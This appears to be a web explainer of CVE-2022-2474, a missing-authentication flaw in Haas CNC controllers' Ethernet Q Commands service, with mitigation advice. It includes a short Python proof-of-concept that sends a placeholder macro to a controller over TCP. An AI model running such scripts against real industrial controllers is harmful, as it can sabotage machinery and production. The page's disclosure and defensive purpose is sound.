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What is CVE-2022-2474?

CVE-2022-2474 is a critical security bug that affects certain Haas Automation CNC Machine Controllers, specifically version 100.20.000.111. The flaw lies in the way the controller handles the service called Ethernet Q Commands. In simple terms, there is no authentication—meaning anyone on the same network can use this service, even if they're connecting from another location (as long as they're on the same subnet).

Because of this, an attacker can send unauthorized commands—including writing and executing macros—on the controller. This can lead to anything from malfunctioning machines, disrupted production, to complete sabotage.

Why It Matters

Haas Controllers are widely used in industrial settings to operate CNC machines like mills, lathes, and routers. Their Ethernet Q Commands service is supposed to help with remote management, but without authentication, it becomes a backdoor for intruders.

Attackers do NOT need a password or username. All they need is access to your network.

In plain terms:  
If your Haas Controller and attacker’s computer are on the same network segment, that attacker can issue machine commands, possibly damaging both your production and expensive machinery.

How the Vulnerability Works

The Ethernet Q Commands feature lets users send special instructions (macros) to the Haas controller over the network, designed for automation and monitoring.

But:  
The controller does not verify the identity of the person sending these commands. There's no login, no security check—not even a basic prompt.

What does this mean?

- Any device on the same local network (like your office or shop floor Wi-Fi) can write and execute macros without restriction.
- Remote attackers can exploit this too, if they gain access to your network via other weaknesses (VPN, insecure Wi-Fi, malware, etc.).

Demonstration: Code to Exploit the Flaw

Below is a Python script that shows how an attacker can send a malicious macro to a vulnerable Haas Controller.

*This is for educational purposes only. Do NOT use on systems you do not own or have permission to test.*

import socket

# Change this to the IP address of your Haas Controller
HAAS_CONTROLLER_IP = '192.168.1.100'
PORT = 808  # Default port for Q Commands, check your manual

# Example macro Q command to execute
malicious_macro = b'\x01Q500\x00'  # "Q500" is a placeholder; replace with desired macro

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HAAS_CONTROLLER_IP, PORT))
    s.sendall(malicious_macro)
    response = s.recv(1024)

print('Response from Haas Controller:', response)

What does this script do?
It opens a connection to the Haas Controller and sends a macro command—no login, no permission required.

If you have Haas controllers with version 100.20.000.111

- Update the firmware as soon as a patch is available. Check your vendor or Haas Service Portal.

Use firewalls to restrict access to only trusted devices.

- Monitor network traffic for unusual connections to port 808 (or whichever port you use for Q Commands).
- Work with your IT and security teams to segment operational technology from general office networks.

Permanent solution:  
Haas should implement authentication in future controller firmware.

References & Further Reading

- NIST National Vulnerability Database: CVE-2022-2474
- Haas CNC Service Website
- Industrial Automation: Why Network Segmentation Matters
- CNC Machine Hacking – A Growing Threat

Conclusion

CVE-2022-2474 is a wake-up call for the manufacturing industry. With zero authentication on the Ethernet Q Commands service, any intruder on your network can send, modify, or delete any macro instructions. For factories and shops depending on Haas controllers, this is an urgent risk that must be addressed—either by updating, isolating, or replacing affected controllers.

Timeline

Published on: 10/28/2022 18:15:00 UTC
Last modified on: 11/02/2022 15:44:00 UTC